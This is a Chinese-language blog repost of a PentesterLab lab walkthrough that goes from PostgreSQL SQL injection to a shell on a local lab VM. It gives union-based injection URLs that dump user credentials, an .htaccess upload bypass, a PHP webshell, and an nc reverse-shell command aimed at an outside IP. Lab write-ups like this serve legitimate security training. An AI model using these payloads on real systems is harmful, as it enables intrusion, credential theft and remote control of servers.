PentesterLab-From SQL Injection to Shell: PostgreSQL edition

Posted zlgxzswjy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PentesterLab-From SQL Injection to Shell: PostgreSQL edition相关的知识,希望对你有一定的参考价值。

 

  

一、打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入

  由于PostgreSQL与mysql不同,几个关注点需要注意下

二、order by下看看有几个字段

/cat.php?id=1%20order%20by%204

#order by 4正常,5出现报错,说明有4个字段

三、查看注入点在什么位置,这里与MySQL不同的是,不能再用select 1,2,3……的方式去探测,要改用null,因为PostgreSQL对类型限制很严格

http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null

发现只有第二个字段可以出来东西,注入点在第二个字段

技术分享图片

四、查看当前库名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205

技术分享图片

五、查看表名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0

技术分享图片

六、查看各个字段,遍历offset

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202

技术分享图片

得出有login和password

七、直接通过拼接字符串,读取数据

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users

技术分享图片

八、MD5解密后,为admin|P4ssw0rd,直接登录后台进行上传

九、上传时发现,改后缀名为php3,Content-Type,加入图片文件头都无法成功上传,查询教程后得知,可以通过.htaccess来进行绕过

技术分享图片

十、先编写一个.htaccess文件,内容为一下内容,进行上传

AddType application/x-httpd-php .blah

这个文件的意思是告诉apache,把.blah后缀的文件按照php进行解析

十一、在上传shell,不过这次shell不是.php后缀名,而是.blah

<?php
system($_GET[‘cmd‘])
?>

十二、查看源代码,得知上传位置,直接访问上传的webshell,进行shell反弹

http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash

 

以上是关于PentesterLab-From SQL Injection to Shell: PostgreSQL edition的主要内容,如果未能解决你的问题,请参考以下文章

PHP 用于预翻SQL inj和XSS的基本脚本

网站SQL被注入,怎么防?

使用 sql-injection 创建数据库触发器,无需堆叠查询

Android进程注入

Hoeffding's inequality

在浏览器控制台中使用 Angularjs $http